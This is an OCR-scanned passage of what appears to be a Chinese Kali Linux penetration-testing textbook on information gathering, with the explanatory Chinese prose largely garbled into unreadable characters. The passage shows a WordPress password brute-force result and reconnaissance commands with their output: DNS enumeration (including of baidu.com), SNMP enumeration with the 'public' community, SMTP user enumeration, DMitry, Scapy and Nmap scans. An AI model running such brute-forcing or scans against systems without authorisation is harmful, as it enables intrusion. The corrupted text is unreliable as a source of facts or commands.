+—t——t et
| 1 | admin | admin |
+—t et

* (8 -
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[+] Starting the password brute forcer
Brute Forcing ‘admin’ Time: 00:00:00 < > (59/20575) 0.28%
ETA: 00:00:00
[SUCCESS] Login : admin Password : 123456

+t + + +
| Id | Login | Name | Password |
+t + + +
|1 |admin|admin| 123456 |
ot + + +

[+] Finished: Thu Apr 17 13:54:56 2014
[+] Memory used: 2.508 MB
[+] Elapsed time: 00:00:05

M A5 K, BT LA 3] WordPress H ) admin (19 %505 O 4% 07 H .

* (0«
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45 FE R W E

VEE NN W B iR B . A T REREENNK, AR ER ST H
FRENLREEAG R FBRIE DL, 2E IR M S . Kali Linux 4
TE&RS bRt T —2e U1, wT LAY A P B AN 2 F bR EALN R, A 15 B A
Ja Mg, AR ¢4 Maltego. CaseFile Al Nmap | H 4 H 2 il S k.

Q 2.

3 0 2940 L

VUM ER B W URT AT 4T 0 i 1
REFREEHN;

R 55 45 £ 5

HoA A5 BT B

i F] Maltego W 515 5

Zil| RSN

I I U N I Iy

4.1 # X IR %

MR —RRLF, e ARVFH P A— AP h R R R T A A R AT A 4
DNS M %5 Hl SNMP 258 K. DNS Fe2i o] DU At T 77 DNS fili45 F14H G4 H . DNS
Mozl LA B T e gk B RRALEUR OGRS KL, i #4 vHSHLA A TP HuIb S, A T 3RIR
IREEAF L, A AT DNSenum 1. ZE3ET SNMP B2s, H ) 35 24§ H SnmpEnum
LH . SnmpEnum J&—/M3# (¥ SNMP s I, e St HEP 38T — AN S I SNMP {5 B
{4

411 DNS #%T B DNSenum

DNSenum 72 — 3K JEF 95 R A 44 05 SR TR o & RE I i i 2 3l = AR5 I w]
BEAFAEME A, IR — AW BT IR ATl e AN ] LES U B9 (1) LB LS B B4
R 55 #s A AT AZ D 5%, ik ] AFRd 44 RS54 BT axfr oK, SRl 25 sl AT 214
JREAE R, R rE AW, Bk C 2RI T whois Arify, AT B A MY,
IR B A A . AN A 4448 ] DNSenum | LK A7 DNS #4026, 70 & 3047 0 R B
TR A

root@kali:~# dnsenum --enum benet.com
dnsenum.pl VERSION:1.2.3



daw fERIE

Warning: can't load Net::Whois::IP module, whois queries disabled.
-—  benetcom -—-
Host's addresses:

benet.com. 86400 IN A 192.168.41.131
benet.com. 86400 IN A 127.0.01
Name Servers:

benet.com. 86400 IN A 127.0.0.1
benet.com. 86400 IN A 192.168.41.131
www.benet.com. 86400 IN A 192.168.41.131
Mail (MX) Servers:

mail.benet.com. 86400 IN A 192.168.41.2

Trying Zone Transfers and getting Bind Versions:

farth AAE B ek T DNS IR S5 BPEARASE B b, RS AL . 544 IR 55 b bk A
Mo thht . WRSEIS IS, 3 LR S| — X 4 .
{#J1] DNSenum T _H £ 7 DNS 251, nf L4 ] dnsenum () —SS(IEE T, 41 K B
O --threads [number]: & & H 7 [Al 217 2 R EL
- FRVFH P BRI .
-d: FSUVFH T CE WHOIS iR 2 8] I [ 2815 3 CEA R )
-o: SLVFHI RS AL .
-w: SUVFRIT S WHOIS 153K

OD00OC0

4.1.2 DNS #z T & fierce

fierce T FLfll DNSenum [ At 22 A%, H fierce T3 2 42 AT R R EE(E
K. A fierce T HIRE—NHbx BHL ErAT IP HAERT UG B $ATHLS W Fis:

root@kali:~# fierce -dns baidu.com
DNS Servers for baidu.com:
ns2.baidu.com
ns/.baidu.com
dns.baidu.com
ns3.baidu.com
ns4.baidu.com
Trying zone transfer first...
Testing ns2.baidu.com
Request timed out or transfer not allowed.
Testing ns7.baidu.com
Reqguest timed out or transfer not allowed.
Testing dns.baidu.com
Reqguest timed out or transfer not allowed.
Testing ns3.baidu.com
Request timed out or transfer not allowed.
Testing ns4 .baidu.com
Request timed out or transfer not allowed.
Unsuccessful in zone transfer (it was worth a shot)
Okay, trying the good old fashioned way... brute force
Checking for wildcard DNS...
xx Found 94050052936 baidu.com at 123.125.81.12.

** High probability of wildcard DNS.
Now performing 2280 test(s)...
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10.11.252.74 accounts.baidu.com
172.22.15.16 agent.baidu.com
180.76.3.56  antivirus_baidu.com
10.81.7.51 ba.baidu.com
172.18.100.200bd.baidu.com
10.36.155.42 bh.baidu.com
10.36.160.22 bh.baidu.com
10.11.252.74 accounts.baidu.com
...... HERER N A
61.135.163.0-255 : 1 hostnames found.
61.135.165.0-255 : 1 hostnames found.
61.135.166.0-255 : 1 hostnames found.
61.135.185.0-255 : 1 hostnames found.
Done with Fierce scan: http://ha.ckers.org/fierce/
Found 133 entries.
Have a nice day.

Fayth (945 27 T baidu.com FRTATIY el MBS 2 47, wJLIEPLRILHE] 133
MR PATLL B4 s, b A AR . (S TRIEM B, F6or A A

FLP AR Al LGB I $ A~ Bl R AT ] B A, AT a2 AT

root@kali:~# fierce -dns baidu.com -wordlist hosts.txt /imp/output.txt

41.3 SNMP #%T A Snmpwalk

Snmpwalk &> SNMP W HI#E /7. "EATH] SNMP () GETNEXT i3k, &rifidi & 1
11 OID (SNMP Wi (X G bniR) PR L, FFEoRa )™ . A/NITRHITR Snmpwalk 1
HEAEH -

(326 4-1]1 11 Snmpwalk iyl i Windows 1:4L. 47 a2 W FFr7n:

root@kali:~# snmpwalk -c public 192.168.41.138 -v 2¢

i150.3.6.1.2.1.1.1.0 = STRING: "Hardware: x86 Family 6 Model 42 Stepping 7 AT/AT
COMPATIBLE - Software: Windows Version 6.1 (Build 7601 Multiprocessor Free)"
is0.3.6.1.2.1.1.20=0ID: is0.3.6.1.4.1.311.1.1.3.1.1

150.3.6.1.2.1.1.3.0 = Timeticks: (49046) 0:08:10.46

iso.3.6.1.21.1.40=""

is0.3.6.1.2.1.1.5.0 = STRING: "WIN-RKPKQFBLG6C"

iso.3.6.1.21.1.6.0=""
is0.3.6.1.2.1.1.7.0 = INTEGER: 76
is0.3.6.1.2.1.2.1.0 = INTEGER: 19
is0.3.6.1.2.1.2.2.1.1.1 = INTEGER:
is0.3.6.1.2.1.2.2.1.1.2 = INTEGER:
is0.3.6.1.2.1.2.2.1.1.3 = INTEGER:
i1s0.3.6.1.2.1.2.2.1.1.4 = INTEGER:
is0.3.6.1.2.1.2.2.1.1.5 = INTEGER:
is0.3.6.1.2.1.2.2.1.1.6 = INTEGER:
is0.3.6.1.2.1.2.2.1.1.16 = INTEGER: 16

is0.3.6.1.2.1.2.2.1.1.17 = INTEGER: 17

is0.3.6.1.2.1.2.2.1.1.18 = INTEGER: 18

is0.3.6.1.2.1.2.2.1.1.19 = INTEGER: 19

is0.3.6.1.2.1.2.2.1.2.1 = Hex-STRING: 53 6F 66 74 77 61 72 65 20 4C 6F 6F 70 62 61 63
6B 20 49 6E 74 65 72 66 61 63 65 20 31 00

is0.3.6.1.2.1.2.2.1.2.2 = Hex-STRING: 57 41 4E 20 4D 69 6E 69 70 6F 72 74 20 28 53 53

Ok WN =

74 .
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54 50 29 00
150.3.6.1.2.1.2.2.1.2.3 = Hex-STRING: 57 41 4E 20 4D 69 6E 69 70 6F 72 74 20 28 4C 32
54 50 29 00
i50.3.6.1.2.1.2.2.1.2.4 = Hex-STRING: 57 41 4E 20 4D 69 6E 69 70 6F 72 74 20 28 50 50

150.3.6.1.2.1.55.1.8.1.5.11.16.254.128.0.0.0.0.0.0.149.194.132.179.177.254 120.40 = INTEGER:
1

i50.3.6.1.2.1.55.1.8.1.5.12.16.254.128.0.0.0.0.0.0.0.0.94.254.192.168.41.138 = INTEGER: 1
i50.3.6.1.2.1.55.1.8.1.5.13.16.32.1.0.0.157.56.106.184 .52.243 .8.98.63.87.214.117 = INTEGER: 1
i50.3.6.1.2.1.55.1.8.1.5.13.16.254.128.0.0.0.0.0.0.52.243.8.98.63.87.214.117 = INTEGER: 1
1s0.3.6.1.2.1.55.1.9.0 = Gauge32: 9

i150.3.6.1.2.1.55.1.10.0 = Counter32: 0

PL_ES 45 B 7R T Windows 15HL 192.168.41.138 _ERI AT 15 &

M el LT snmpwalk iy & #0245 38 18T AT @ 0 R s

root@kali:~# snmpwalk -c public 192.168.41.138 -v 1 | grep ftp

far A5 B R PTR

150.3.6.1.2.1.25.4.2.1.5.3604 = STRING: "-k ftpsvc"

B 15 4R 192.168.41.138 EHL 2 T fip HfFAL.

i H] Snmpwalk T B AW W] BLA S H bR L EFT TR TCP i 1 o $8AT a2 W B
root@kali:-~# snmpwalk -c public 192.168.41.138 -v 1 | grep tcpConnState | cut -d "." -f6 | sort -nu

RSN T 192.168.41.138 EHLIT TR . @121, 25, 80 #1443, SILFIIT T
4AEET

4.1.4 SNMP #%T A Snmpcheck

Snmpcheck [ FRVF /7 M2E SNMP 25 1 [R] IR 25 3R LLe s iy Ut o ke
i% T B8 . 4 Snmpcheck T B Jf i SNMP Pl $8HL 192.168.41.138 T HL{5 .
A7 A N TR

root@kali:~# snmpcheck -t 192.168.41.138

EATES S e S X 5 A NN (CRVNGY S S5 a2 P E it Rt e S PR e S

snmpcheck.pl v1.8 - SNMP enumerator
Copyright (c) 2005-2011 by Matteo Cantoni (www.nothink.org)

N

[*] Try to connect to 192.168.41.138
[*] Connected to 192.168.41.138
[*] Starting enumeration at 2014-04-19 15:28:58

(D) SRMAGAERE, Wb, BAIERGIER AN . G280 KPR

[*] System information

75«
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Hostname : WIN-RKPKQFBLGBC #EHZ

Description : Hardware: x86 Family 6 Model 42 Stepping 7 AT/AT COMPATIBLE -
Software: Windows Version 6.1 (Build 7601 Multiprocessor Free) #if{52

Uptime system : 6 hours, 29:56.09 #B a1 R G FHNITIT R E

Uptime SNMP daemon : 25 minutes, 56.65 #SNMP 32z 1T 8]
Motd T -
Domain (NT) : WORKGROUP #HTENEET

M R AE b ) LU 2% R ZE 0 E LAY 5 WIN-RKPKQFBLG6C . x86  ZLA: Al

Windows Z 40255 5 .

(2) PSR, s ID 5. KRRRGEE. 400 T FR:
[*] Devices information
Id Type Status Description
1 Printer Running TP Output Gateway
10 Network Unknown WAN Miniport (L2TP)
11 Network Unknown WAN Miniport (PPTP)
12 Network Unknown WAN Miniport (PPPOE)
------ 6 Printer Running Microsoft Shared Fax Driver
7 Processor Running Intel
8 Network Unknown Software Loopback Interface 1
9 Network Unknown WAN Miniport (SSTP)

AR R SR T %
(3) FRIAF R

[*] Storage informat

RO AT R A B, AT EN A 2 A R T
, B i, BARTRIL RGO, SR T

LT
ion

A

Device id 1 #18%& 1D

Device type : Removable Disk HigEZ AR

Filesystem type : Unknown U RGEER
C:\ Label: Serial Number 3814cb70

Device id 12

Device type - Fixed Disk

Filesystem type :NTFS

Device units - 4096 #IREHIT

Memory size 111G #z= (A K/

Memory used :8.5G #EEAZE

Memory free 102G #4718
0x443a5c¢204c6162656c3ad0c2bcd3beed202053657269616¢204e756d6265722062613464 3762
3134

Device id =3

Device type : Fixed Disk

Filesystem type NTFS

Device units - 4096

Memory size :9.8G

Memory used - 79M

Memory free :9.7G

0x453a5c204c6162656c3ad0c2becd3beed202053657269616c204e756d62657220343234383837

6331
Device id

76
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Device type : Fixed Disk
Filesystem type :NTFS
Device units - 4096
Memory size :9.8G
Memory used S 7T9M
Memory free :9.7G

A s T ARG T A . BRI T AR C RS R
KHRLLCE#AH, M TR IEL, ORRERE. SUFERGRE. FERAh. el

s ul WAV B S P st of TN NS
(4) SR IR E R a5 R W R HR:

[*] User accounts

Administrator
Guest

s e s TZRsEH A MM, 00l )g Administrator £ Guest.
(5) FREGEREE R, niEFE ID. JEFE 4 RTIERE T2 . 45 S R iR

[*] Processes

Total processes: 44

Process type : 1 unknown, 2 operating system, 3 device driver, 4 application
Process status: 1 running, 2 runnable, 3 not runnable, 4 invalid
Process id Process name Process type Process status Process path
1 System Idle Process 2 1
1112 svchost.exe 4 1
1276 spoolsv.exe 4 1
1324 svchost.exe 4 1
1416 taskhost.exe 4 1

far A5 I8 — AT FR iz R G AT 44 AL i FIRIERRN, X8RS T RTL
MBATHIERE . 5 ATIRE TR 1 BRI 2 RN E RS 3 R e el
4 FoRMN IR . SBATHE THERRPIRGS: 1 FoRIEEISTT: 2 Ronu] BLgdT: 3 "paAh
REIZAT: 4 Fo . BIUATHIA AL DAIEEon: 5 SoRdti ID; 3 4%

RS AR RHERDIR A, SBPUA R R R AR
(6) FRHLME4{= EL, G TTL {&. TCP BRI 6. 25T .

[*] Network information

IP forwarding enabled ‘no #=ERBH IP L
Default TTL 2128 #2A TTL{E
TCP segments received : 19092 #I %) TCP E&
TCP segments sent : 5964 #43% TCP &
TCP segments retrans. 0 #E% TCP E&
Input datagrams : 37878 #HaNBHE T
Delivered datagrams : 38486 #E B I REE T
Qutput datagrams : 16505 #ifi 1 E4E T

PAEASR RBn TiZ AAR R G M A OCE B, WiEkik TTL fH. {i®] TCP B

TCP B fiIE % TCP B,
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(7) FRECM 208 D L, g RS R 1P MUk R 7 RS S5 . 45500 T s
[*] Network interfaces

Interface - [ up ] Software Loopback Interface 1

Interface Speed : 1073.741824 Mbps HEMEE

IP Address :127.0.0.1 #IP tbhk
Netmask :255.0.0.0 #T M HERD
MTU - 1500 #RAIEHRT

LLUEAS 78 T loopback £ H YA IC R B BRAVERMER . IP il 7 MRS &
KA IG
(8) KM AR, Wbk, F—Brhb, FRAERNERERKEA. SIRWTAT

N
S
H

[*] Routing information

Destination Next Hop Mask Metric
0.0.0.0 192.168.41.2 0.0.0.0 10
127.0.0.1 127.0.0.1 255.255.255.255 306
127.255.255.255 127.0.0.1 255.255.255.255 306
192.168.41.0 192.168.41.138 255.255.255.0 266
192.168.41.138 192.168.41.138 255.255.255.255 266
192.168.41.255 192.168.41.138 255 255 255 255 266
224.0.0.0 127.0.0.1 240.0.0.0 306

LS BRAHMRAGH — N EG R ZhRAE Al F—Bkihk,
P HE R B B AR A -

(9) FRICM 2% e 551 1., oA SCEHAE A S A Y IR 45 - DHCP %% 7 dig Al DNS %5 ) i 55
g5 BRI

[*] Network services

Application Experience
Background Intelligent Transfer Service
Base Filtering Engine
COM+ Event System
COM+ System Application
Computer Browser
Cryptographic Services
DCOM Server Process Launcher
DHCP Client
DNS Client

PLEAE VSR T B ENLP T 22 RS . th TR IR, JA T3 k45
(10) FRELWSITA TCP &5 0, Wil TCP ¥ 5547 135, 495149513 1 139 %5, &k
S /(I TP

[*] Listening TCP ports and connections
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Local Address Port Remote Address  Port State
0.00.0 135 0.000 - Listening

0.000 49152 0.000 - Listening

0.000 49153 0.000 - Listening

0.000 49154 0.000 - Listening

0.000 49155 0.000 - Listening

0.000 49156 0.000 - Listening

0.000 49159 0.000 - Listening
192.168.41.138 139 0.0.00 - Listening
192.168.41.138 49241 192.168.41.1 139 Time wait

VA EAE BRAMN G BHUE ST TCP IEH G MG B BIAAMMAL . AL H . LR HL
Hihb e ML HAOE RS

(11) FRECK T UDP i HAE S, Wik Wr i) UDP #i H AT 123, 161, 4500, 500 H1 5355
To GERWT PR

[*] Listening UDP ports

Local Address Port
0.000 123

0.000 161

0.000 4500

0.0.0.0 500

0.0.00 5355
127.0.0.1 1900
127.0.01 51030
192.168.41.138 137
192.168.41.138 138
192.168.41.138 1900

PLEAE B o H ks BN COJF A ) UDP b 5.
(12) FHUEARLHAE B, i1 Visual C++ 2008, Somét Ban s

[*] Software components

1. Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.4148

PLEfE BRmiZ LWL 223 T Visual C++ 2008 57 .
(13) 3RHL Web IRZAE R, WRZERNFTE. CIRERN a2l P S, S50~ AT

[*] Web server information

Total bytes sent low word D
Total bytes received low word D
Total files sent -
Current anonymous users -
Current non anonymous users -
Total anonymous users i-
Total non anonymous users D -

[*] Enumerated 192.168.41.138 in 0.64 seconds
Signal USR1 received in thread 1, but no signal handler set. at /usr/bin/snmpcheck line 230.

PLEE R T Web JIRGHI(G R Ba ibor TR 101 192.168 41.138 L] ],
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415 SMTP #% T B smtp-user-enum

smtp-user-enum &£ 6 SMTP IR 45251 25 o 0, BEATHI P 2 s 1, DL IR
Gy CAPERIHBAR K P o 76 SMTP %5 B s (1) SMTP #2476 & F B

root@kali:~# smtp-user-enum -M VRFY -U /tmp/users.txt -t 192.168.41.138
Starting smtp-user-enum v1.2 ( http://pentestmonkey.net/tools/smtp-user-enum )

| Scan Information |

Mode ................. . .. VRFY #SMTP # =& FH aTER
Worker Processes ... .. 5 I TIHIZE
Usernames file ........... ftmp/users txt #H P& X
Target count ......... e #E R E
Usernamecount... ... 2 #H P 2SS
Target TCPport ... . 25 #H#r TCP i O
Query timeout ...... . 5 secs #it8 B B [B)
Target domain ... #E Rl
HHHHHA Scan started at Sat Apr 19 16:07:04 2014 #HHEHEHH #1348 B s et i)
HiAHHEHE Scan completed at Sat Apr 19 16:07:05 2014 #HHEHEHHHT #$  RET 8
0 results.

2 queries in 1 seconds (2.0 queries / sec)

S AE SRR T A 192.168.41.138 EHLAYTEANME B, SRR, ZiTEERE. H P
A kL H P EOR TCP i 4%,

4.2 MK W 455 F

N 9 29 90 ] P 1) TP b il s a4 Al 232 M — N E B S5 oG8 R £ T
) IP bl BUEAS , B oE 2 AT AN B SRR & T4 R e . A2 7 e £ 06 )= 3 TP
FERB A AT BN, EMITER 22 B3R E, U T At AR AT sl A A
o IXRNATERE NI, BRE SRR BRI, wln] LA TR B
AN AN AE Kali 4 fit 7 DMitry Al Scapy 1L, Hr, DMitry TR Ay F b
W 4% v TP i ik Bk 42 75 16 Scapy 1 H HISRFT 4 £ K MRERECHE £ « A5 K5 A 4148 H] DMEtry
A1 Scapy T H I 4% i [H .

421 1327 # T E DMitry

DMitry - & R A if) TP 5ld 44 WHOIS {5 LA . WHOIS J& ISR A ifjdf 47 & 75 £L48
Bl M Je O M A PR B AR B Clnssl 44 B Ay AR 44D - AR TR
W] DL B3 A A i A S ) 2 R TR A A DMty T B4 rzchina net 35044 {5 5L .
PAT a2 W TR

root@kali:~# dmitry -wnpb rzchina.net
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Deepmagic Information Gathering Tool

"There be some deep magic going on"
HostlP:180.178.45.123

HostName:rzchina.net

Gathered Inic-whois information for rzchina.net

Domain Name: RZCHINA.NET
Registrar: BIZCN.COM, INC.

Whois Server: whois.bizcn.com
Referral URL: http://www.bizcn.com
Name Server: DNS1.BIZMOTO.COM
Name Server: DNS2.BIZMOTO.COM
Status: clientDeleteProhibited

Status: clientTransferProhibited
Updated Date: 18-apr-2013

Retrieving Netcraft.com information for rzchina.net
Netcraft.com Information gathered

Gathered TCP Port information for 180.178.45.123

Port State
21/tcp open
>> 220 Welcome
22/tcp open
>> SSH-2.0-OpenSSH_4.3
25/tcp open
>> 220 vhost78.myverydz.com ESMTP Postfix
80/tcp open
110/tcp open

>> +0OK Hello there.
Portscan Finished: Scanned 150 ports, 135 ports were in state closed
All scans completed, exiting

5 B R T rzchinanet B4 () TP M. WHOIS {55 8 R PR o L1526, AT
P L& et (5 BR 2, (EE I TRIEA I, oy AR i arms o () AU

HARAT A DMitry 1 Hn] BAA 3 1P sl 445 H,  HIE AN RE AT H XA P 44 5 [ .
DRI A A1 45 2 R0 K B8 S5 AN S TP BB R 1y 2R, DA LA b 408 40 TP Hbhik
A gl 1 RS 145 . CIDR A& =UFEFR 5 n) 1~ M FEAD A% 055 7F Linux %, netmask |-
HATBAAE TP [ . 7 IHERS . CIDR Ml Cisco S5kt rp HAM L, JF HAZML T 1P Huhk() f
G BTSRRI\ AN 3 ) T F B AR 45 o A netmask T HoR444 rzchina net
F bR AE B 7 MU HE R AR 50 AT AT 0 T BT s

root@kali:~# netmask -s rzchina.net
180.178.45.123/255.255.255.255

B EAE G 7 T rzchinanet 558424 17 TP #hhik F1 - R FE R {1 .
422 REFHHITE Scapy

Scapy it K5E MRS AR AT T o A R ds . AR g . I as A ER
THATE R T S R ) 1A iU i e A . AP B AT
B RIEEGRE . AR, MR ZEDEE. FIDE 49 Scapy T HEAUHH .
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1] Scapy S E A7 JFA7H

(1) J53h Scapy L H.. thiTan% W~

root@kali:~# scapy

INFO: Can't import python gnuplot wrapper . Won't be able to plot.

WARNING: No route found for IPv6 destination :: (no default route?)
Welcome to Scapy (2.2.0)

FR>>>7RFF, R scapy fr¥ B M .
(2) ] srQpRE SE IR AL AR B . AT a2 1 R PR

>>> ans,unans=sr(|P(dst="www.rzchina.net/30" ttl=(1,6))/TCP())
Begin emission:

~xxxFinished to send 24 packets.

......... et L OB - 07 (11 2 OF <3|

Received 70 packets, got 19 answers, remaining 5 packets

ATl B4 )5, 2vH3) S wwworzchinanet @734 AT )L G, A Cul+C
B AR . A S A5 b el U Bl s 70 MR, B8 19 a1
5.

(3) LLRMBA AR UAILHEI . AT a0 F FioR:

>>> ans.make_table(lambda(s,r):(s.dst,s.ttl,r.src))

PATLL B &S5, G FATR s

180.178.45.120 180.178.45.121 180.178.45.122 180.178.45.123
1192.168.41.2 192.168.41.2 192.168.41.2 192.168.41.2

RERES HDDRE . BARTRAE L3R W bR
)

2180.178.45.120 - 180.178.45.122 180.178.45.123
3180.178.45.120 - 180.178.45.122 180.178.45.123
4 180.178.45.120 - 180.178.45.122 180.178.45.123
5180.178.45.120 - 180.178.45.122 180.178.45.123
6 180.178.45.120 - 180.178.45.122 180.178.45.123

e S BRI Tz M e R T AT TP k.
(4) f#i[1] scapy & & TCP MR G B $ATar 2 W Firm:

>>>
res,unans=traceroute(["www.google.com”,"www.kali.org","www.rzchina.net"],dport=[80,44 3], maxt
tI=20,retry=-2)

Begin emission:

ke seksickok ol R ook Rlokok kool ook Finished to send 120 packets.
****************************************Begin emission:

* Finished to send 39 packets.

Begin emission:

Finished to send 38 packets.

Begin emission:

Finished to send 38 packets.

Received 84 packets, got 82 answers, remaining 38 packets

173.194.127.179:tcp443 173.194.127.179:tcp80 180.178.45.123:tcp443
180.178.45.123:tcp80 198.58.119.164:tcp443 198.58.119.164:tcp80
1 192.168.41.2 11 192.168.41.2 11 192.168.41.2 11
192.168.41.2 11 192.168.41.2 11 192.168.41.2 11
2 - - 180.178.45.123 RA
180.178.45.123 SA 198.58.119.164 RA 198.58.119.164 SA
3 - - 180.178.45.123 RA
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180.178.45.123 SA 198.58.119.164 RA 198.58.119.164
4 - - 180.178.45.123
180.178.45.123 SA 198.58.119.164 RA 198.58.119.164
5 - - 180.178.45.123
180.178.45.123 SA 198.58.119.164 RA 198.58.119.164
6 - - 180.178.45.123
180.178.45.123 SA 198.58.119.164 RA 198.58.119.164
7 - - 180.178.45.123
180.178.45.123 SA 198.58.119.164 RA 198.58.119.164
8 - - 180.178.45.123
180.178.45.123 SA 198.58.119.164 RA 198.58.119.164
9 - - 180.178.45.123
180.178.45.123 SA 198.58.119.164 RA 198.58.119.164
10 - - 180.178.45.123
180.178.45.123 SA 198.58.119.164 RA 198.58.119.164
11 - - 180.178.45.123
180.178.45.123 SA 198.58.119.164 RA 198.58.119.164
12 - - 180.178.45.123
180.178.45.123 SA 198.58.119.164 RA 198.58.119.164
13 - - 180.178.45.123
180.178.45.123 SA 198.58.119.164 RA 198.58.119.164
14 - - 180.178.45.123
180.178.45.123 SA 198.58.119.164 RA 198.58.119.164
15 - - 180.178.45.123
180.178.45.123 SA 198.58.119.164 RA 198.58.119.164
16 - - 180.178.45.123
180.178.45.123 SA 198.58.119.164 RA 198.58.119.164
17 - - 180.178.45.123
180.178.45.123 SA 198.58.119.164 RA 198.58.119.164
18 - - 180.178.45.123
180.178.45.123 SA 198.58.119.164 RA 198.58.119.164
19 - - 180.178.45.123
180.178.45.123 SA 198.58.119.164 RA 198.58.119.164
20 - - 180.178.45.123
180.178.45.123 SA 198.58.119.164 RA 198.58.119.164

SA
RA
SA
RA
SA
RA
SA
RA
SA
RA
SA
RA
SA
RA
SA
RA
SA
RA
SA
RA
SA
RA
SA
RA
SA
RA
SA
RA
SA
RA
SA
RA
SA
RA
SA

AR, 28 T5 www.google.com. www kali.org. www.rzchinanet — > ui%
el Pz L Hi k. S S B i RA Rorig X, SA FoarliRss . JLrh g i DO §e 2
KPR G YT E . RA (Routing Area) [FJFRIHFTE RAL, RA JEH L LA NI,
Mg X AR D & v IR IR S5 B PCRE,  BRAS[R) @S ) e i R R 8 6 (R S BrAr &, i
RSP (R ]Ee R

(5) {1 res.graph()eft F LA B B At m i B BRBR A o PRAT A& 1 F s :

>>> res.graph()

PATLA B2 J s Rl R Wi B 4.1 PR ) S

ImageMagick: - L;jml_iml_}_\

162.168.412
L | 1516
[NE]SEC-HKU!HEI?T-]W.HK] | [GOOGLE - Google Inc. Ut T LAVER - SoftLayer iinologles ([S]
|
180.178.45.123 [ hitp SA | https RA M

/4.1

19858.119.164 | httpSA | https RA

i e PR i
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R ERRAFZE, AT R a2
>>> res.graph(target=">/tmp/graph.svg")

BUTLLEAr ARG, 4.1 o R 22 {47 ) mp/graph svg SCHF o MR R 74T
{5 Bt
(6) iRt scapy FiFF, TS0 FH:

>>> exit()

PUATLA B4R, scapy BUFHIE . HE 0T A R CultD 41 £ R H scapy FiLFF.
43 RAE KA A

FARBEW B AT, ST PURIAEIXA B AR A PUIR BRI L. £E A H AR S A,
I ] PR S V2R 2 AT ping Ao AR, EIRTRERE—LHLIRE, tinTRepiE . AT
a8 48 ] Nmap TR 1 EHL

431 MLEIRETEE T E Nmap

Nmap 52— 9 T B0 P 28 414 AR T B A, il [0 25 1t 4 25 (Network Mapper ) .
Z L HHRATN G =AY, 2R A EHE Gk, MO £l O, IR
PERY ML IRS5 s — A2 T CAHEIT EHLAT 3R AE R Ge. @, HI7 A Nmap RE47 M 24 5
GUEA IV, TR TR as. Bilhn, 8 pEam e AU TR, PRIRCE
BURImI R, JFHEHE EHLR R LOTBUG G 2 M 4t i 2 aiRas . b SHRAEEIR IR A H A
Bl Aol — 28 Bt

Nmap (] TCP/AP PR CHERR AT H A EHLAYERAE RS, 558, Nmap iE
bt A bR EALREAT s D44, FRH ARy YR H AR AL BT ST E) B AR AL E
A2+ IR TCP i, A SCHIN TCP B LR -~ 5CH][¥) UDP ¥ 1N, Nmap 1)
PRIGE ) R Relf ). Nmap T B TAERIRINFE 4-1 Frow.

#4-1 NmapTI{ERHE

1l iR i &
T1 %1% TCP 4R 41 (Flag=SYN) Z|FFjift(y TCP i1
T2 K1k —~22 1) TCP 4565 FF i) TCP 511 E
T3 %1% TCP ity (Flag=SYN., URG. PSH #I FIN) F|Fji [t TCP i1 L
T4 %1% TCP %441 (Flag=ACK) F|FFi i TCP i1k
TS 3% TCP ¥t (Flag=SYN) F|J¢H ) TCP i1
T6 %1% TCP ¥iE4) (Flag=ACK) #|Fi% TCP i1 k
T7 %% TCP 4t (Flag=URG. PSH 1 FIN) #4111 TCP ¥ 11 I

Nmap &f H AR BHLEAT — RAIIK, W3R 4-1 Fras. I EIGCEs R rAR B H
B LA Nmap $720. i, UL Nmap fR405 FR 807 H R8T A4k ILlc, A H
bR EHLERAE R GIRT.
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Nmap TFEF R RUIE 4-2 Frow.

F 42 NmapZEH#HER

Ping A3t m O A
TCP SYN 4% UDP 393
B R LR Sy e mE ]

432 {EMH Nmap iRaliEEkEH

/NS 8 T Nmap T RME K fe. BEMHTIZT R, ALk 44 bl ek iy
THL. MR W R .
] Nmap A — P LHLEEREL . AT FIR:

root@kali:~# nmap -sP 192.168.41.136

Starting Nmap 6.40 ( hitp://nmap.org ) at 2014-04-21 17:54 CST
Nmap scan report for www_benet.com (192.168.41.136)

Host is up (0.00028s latency).

MAC Address: 00:0C:29:31:02:17 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.19 seconds

M AOAS B LA 1) 192.168.41.136 LHLAVIER S . THLFEZEA MAC Hihl %%,
MBI Nping (Nmap ER) A, HEWHRICEZHEMGE. irar<u kb
FT7R:

root@kali:~# nping —echo-client "public" echo.nmap.org

Starting Nping 0.6.40 ( http://nmap.org/nping ) at 2014-04-21 17:53 CST

SENT (1.6030s) ICMP [192.168.41.234 > 74.207.244.221 Echo request (type=8/code=0)
id=45896 seq=1] IP [ttl=64 id=1270 iplen=28 ]

RCVD (1.7971s) ICMP [74.207.244 221 > 192.168.41.234 Echo reply (type=0/code=0) id=45896
seg=1] IP [ttl=128 id=64157 iplen=28 ]

SENT (2.6047s) ICMP [192.168.41.234 > 74.207.244.221 Echo request (type=8/code=0)
1d=45896 seq=2] IP [ttl=64 id=1270 iplen=28 ]

RCVD (2.6149s) ICMP [74.207.244 221 > 192.168.41.234 Echo reply (type=0/code=0) id=45896
seg=1] IP [ttI=128 id=64159 iplen=28 ]

SENT (3.6289s) ICMP [192.168.41.234 > 74.207.244.221 Echo request (type=8/code=0)
id=45896 seq=3] IP [ttl=64 id=1270 iplen=28 ]

RCVD (3.6322s) ICMP [74.207.244 221 > 192.168.41.234 Echo reply (type=0/code=0) id=45896
seg=1] IP [ttl=128 id=64161 iplen=28 ]

SENT (4.6429s) ICMP [192.168.41.234 > 74.207.244.221 Echo request (type=8/code=0)
id=45896 seq=4] IP [ttl=64 id=1270 iplen=28 ]

RCVD (4.6435s) ICMP [74.207.244 221 > 192.168.41.234 Echo reply (type=0/code=0) id=45896
seg=1] IP [ttl=128 id=64163 iplen=28 ]

SENT (5.6454s) ICMP [192.168.41.234 > 74.207.244.221 Echo request (type=8/code=0)
id=45896 seq=5] IP [ttl=64 id=1270 iplen=28 ]

RCVD (5.6455s) ICMP [74.207.244 221 > 192.168.41.234 Echo reply (type=0/code=0) id=45896
seg=1] IP [ttI=128 id=64164 iplen=28 ]

Max rit: 193.736ms | Min rtt: 0.042ms | Avg rtt: 70.512ms

Raw packets sent: 5 (140B) | Rcvd: 11 (506B) | Lost: 0 (0.00%)| Echoed: 0 (0OB)

Nping done: 1 IP address pinged in 6.72 seconds

ot (45 S 75 echo.nmap.org W3 JERL N S (1 AE IGO0, WAk Eodls &L A I
). P2t ). TTL (& A IR I ) 25
AUt RT LA IE — 2| N BE R B e i O, R o
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root@kali:~# nping -tcp -p 445 -data AF56A43D 192.168.41.136

